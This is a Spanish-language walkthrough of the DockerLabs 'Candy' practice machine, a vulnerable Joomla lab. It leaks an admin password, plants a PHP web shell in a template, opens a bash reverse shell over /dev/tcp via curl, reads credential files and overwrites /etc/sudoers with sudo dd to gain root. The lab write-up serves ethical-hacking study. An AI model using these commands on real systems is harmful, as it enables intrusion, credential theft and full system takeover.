Post

Candy

DockerLabs es una plataforma gratuita diseñada para practicar hacking ético al alcance de todo el mundo utilizando Docker. DockerLabs ofrece un entorno seguro y accesible para desplegar laboratorios vulnerables de la forma más eficiente y sencilla posible.

Candy

Information Gathering

El análisis inicial comienza con el comando ping para confirmar la accesibilidad de la máquina objetivo en la red.

1
2
3
4
5
6
7
/home/kali/Documents/dockerlabs/candy:-$ ping -c 1 172.17.0.3
PING 172.17.0.3 (172.17.0.3) 56(84) bytes of data.
64 bytes from 172.17.0.3: icmp_seq=1 ttl=64 time=0.031 ms

--- 172.17.0.3 ping statistics ---
1 packets transmitted, 1 received, 0% packet loss, time 0ms
rtt min/avg/max/mdev = 0.031/0.031/0.031/0.000 ms

Realizo un escaneo agresivo de puertos con nmap, lo que me permite identificar rápidamente todos los puertos abiertos.

1
2
3
/home/kali/Documents/dockerlabs/candy:-$ nmap -p- --open -sS --min-rate 5000 -vvv 172.17.0.3 -n -Pn -oG nmap1
Host: 172.17.0.3 ()	Status: Up
Host: 172.17.0.3 ()	Ports: 80/open/tcp//http///	Ignored State: closed (65534)

Profundizo en los puertos detectados, recopilando información detallada sobre los servicios y versiones en ejecución.

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
/home/kali/Documents/dockerlabs/candy:-$ nmap -sCV -vvv -p80 172.17.0.3 -oN nmap2
PORT   STATE SERVICE REASON         VERSION
80/tcp open  http    syn-ack ttl 64 Apache httpd 2.4.58 ((Ubuntu))
|_http-generator: Joomla! - Open Source Content Management
|_http-server-header: Apache/2.4.58 (Ubuntu)
|_http-title: Home
| http-robots.txt: 17 disallowed entries 
| /joomla/administrator/ /administrator/ /api/ /bin/ 
| /cache/ /cli/ /components/ /includes/ /installation/ 
| /language/ /layouts/ /un_caramelo /libraries/ /logs/ /modules/ 
|_/plugins/ /tmp/
| http-methods: 
|_  Supported Methods: GET HEAD POST OPTIONS
|_http-favicon: Unknown favicon MD5: 1B6942E22443109DAEA739524AB74123
MAC Address: C2:69:9F:C8:16:21 (Unknown)
1
2
/home/kali/Documents/dockerlabs/candy:-$ whatweb 172.17.0.3
http://172.17.0.3 [200 OK] Apache[2.4.58], Cookies[67f8fae1a4d19f3cd42b155a572e08c4], Country[RESERVED][ZZ], HTML5, HTTPServer[Ubuntu Linux][Apache/2.4.58 (Ubuntu)], HttpOnly[67f8fae1a4d19f3cd42b155a572e08c4], IP[172.17.0.3], MetaGenerator[Joomla! - Open Source Content Management], PasswordField[password], Script[application/json,application/ld+json,module], Title[Home], UncommonHeaders[referrer-policy,cross-origin-opener-policy], X-Frame-Options[SAMEORIGIN]

Web Analysis & Data Leak Exploitation

Identifico un servicio web activo sobre Apache 2.4.58 en un entorno Ubuntu. El header indica que el sitio está construido con Joomla. Al acceder a la página principal, se presenta un formulario de autenticación.

Enumerando archivos comunes descubro la presencia de /robots.txt, que revela múltiples rutas internas y sensibles, incluyendo /administrator/.

Al final del archivo, aparece una línea con lo que parecen ser credenciales admin:c2FubHVpczEyMzQ1 la ultima cadena se encuentra en base64 que, al decodificarla, revela la contraseña del usuario admin.

1
2
/home/kali/Documents/dockerlabs/candy:-$ echo -n 'c2FubHVpczEyMzQ1' | base64 -d
sanluis12345

Ahora si, utilizo las credenciales admin:sanluis12345 para iniciar sesión en el panel de administración de Joomla accesible desde /administrator/


Vulnerability Exploitation

Con acceso administrativo al panel de Joomla, aprovecho la funcionalidad de edición de plantillas para ejecutar comandos arbitrarios. Desde el menú System > Site Templates > Cassiopeia Details and Files > component.php edito el archivo e inserto código PHP, system($_GET['cmd']);.

Foothold

Escucho conexiones entrantes con netcat en el puerto 4321.

1
2
/home/kali/Documents/dockerlabs/candy:-$ nc -lnvp 4321
	listening on [any] 4321 ...

Luego disparo la carga útil para enviarme una conexion reversa.

1
2
3
4
5
6
/home/kali/Documents/dockerlabs/candy:-$ curl http://172.17.0.3/templates/cassiopeia/component.php\?cmd\=bash%20-c%20%22bash%20-i%20%3E%26%20%2Fdev%2Ftcp%2F172.17.0.2%2F4321%200%3E%261%22

	... connect to [172.17.0.2] from (UNKNOWN) [172.17.0.3] 53364.

www-data@66b028a2a370:/var/www/html/joomla/templates/cassiopeia$ id
uid=33(www-data) gid=33(www-data) groups=33(www-data)

Lateral Movement

Restauro el entorno interactivo para mejorar la visibilidad y control de la shell.

1
2
3
4
5
6
7
8
9
www-data@90d89cd7471b:/var/www/html/joomla/templates/cassiopeia$ script /dev/null -c bash 
www-data@90d89cd7471b:/var/www/html/joomla/templates/cassiopeia$ ^Z 

/home/kali/Documents/dockerlabs/candy:-$ stty raw -echo;fg 
[1]  + continued  nc -nvlp 4321
				reset xterm
www-data@90d89cd7471b:/var/www/html/joomla/templates/cassiopeia$ export TERM=xterm
www-data@90d89cd7471b:/var/www/html/joomla/templates/cassiopeia$ export SHELL=bash 
www-data@90d89cd7471b:/var/www/html/joomla/templates/cassiopeia$ stty rows 36 columns 138

Consulto el archivo /etc/passwd para identificar otros usuarios del sistema, los cuales poseen shells válidos.

1
2
3
4
www-data@66b028a2a370:/var/www/html$ grep sh$ /etc/passwd
root:x:0:0:root:/root:/bin/bash
ubuntu:x:1000:1000:Ubuntu:/home/ubuntu:/bin/bash
luisillo:x:1001:1001:,,,:/home/luisillo:/bin/bash

Realizo una búsqueda de archivos legibles o pertenecientes al usuario www-data, excluyendo rutas irrelevantes. Descubro un archivo inusual, ubicado en /var/backups/hidden/.

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
www-data@66b028a2a370:/var/www/html$ find /var -user www-data -o -perm -o=r 2>/dev/null | grep -v '/joomla/\|/lib/\|/cache/\|/log/'
/var
/var/spool
/var/spool/mail
/var/log
/var/tmp
/var/lock
/var/cache
/var/lib
/var/opt
/var/run
/var/local
/var/backups
/var/backups/hidden
/var/backups/hidden/otro_caramelo.txt
/var/mail
/var/www
/var/www/html
/var/www/html/joomla
/var/www/html/index.html

El archivo /var/backups/hidden/otro_caramelo.txt contiene credenciales en texto plano correspondientes al usuario luisillo, utilizados por Joomla para conectarse a la base de datos local.

1
2
3
4
5
6
7
8
www-data@66b028a2a370:/var/www/html$ cat /var/backups/hidden/otro_caramelo.txt
...[snip]...
// Información sensible
$db_host = 'localhost';
$db_user = 'luisillo';
$db_pass = 'luisillosuperpassword';
$db_name = 'joomla_db';
...[snip]...

Accedo exitosamente como luisillo utilizando las credenciales extraídas.

1
2
3
4
5
www-data@66b028a2a370:/var/www/html$ su luisillo
Password: luisillosuperpassword

luisillo@66b028a2a370:/var/www/html$ id
uid=1001(luisillo) gid=1001(luisillo) groups=1001(luisillo),100(users)

Privilege Escalation

Listando los binarios disponibles con privilegios sudo para el usuario luisillo, se encuentra que puede ejecutar /bin/dd sin necesidad de contraseña.

1
2
3
4
5
6
luisillo@66b028a2a370:~$ sudo -l
Matching Defaults entries for luisillo on 66b028a2a370:
    env_reset, mail_badpass, secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin\:/snap/bin, use_pty

User luisillo may run the following commands on 66b028a2a370:
    (ALL) NOPASSWD: /bin/dd

Según GTFOBins, dd permite redirigir contenido hacia archivos arbitrarios con permisos de root. Esto habilita la posibilidad de sobreescribir /etc/sudoers para escalar privilegios, sin requerir ejecución de binarios adicionales.

1
2
3
4
5
6
luisillo@66b028a2a370:~$ LFILE=/etc/sudoers

luisillo@90d89cd7471b:~$ echo 'luisillo ALL=(ALL:ALL) ALL' | sudo /bin/dd of=$LFILE
0+1 records in
0+1 records out
27 bytes copied, 3.1509e-05 s, 857 kB/s

Una vez modificada la política, es posible utilizar sudo de manera convencional sin restricción y acceder a una shell como root.

1
2
3
4
5
luisillo@90d89cd7471b:~$ sudo su
[sudo] password for luisillo: luisillosuperpassword

root@90d89cd7471b:/home/luisillo# id
uid=0(root) gid=0(root) groups=0(root)
This post is licensed under CC BY 4.0 by the author.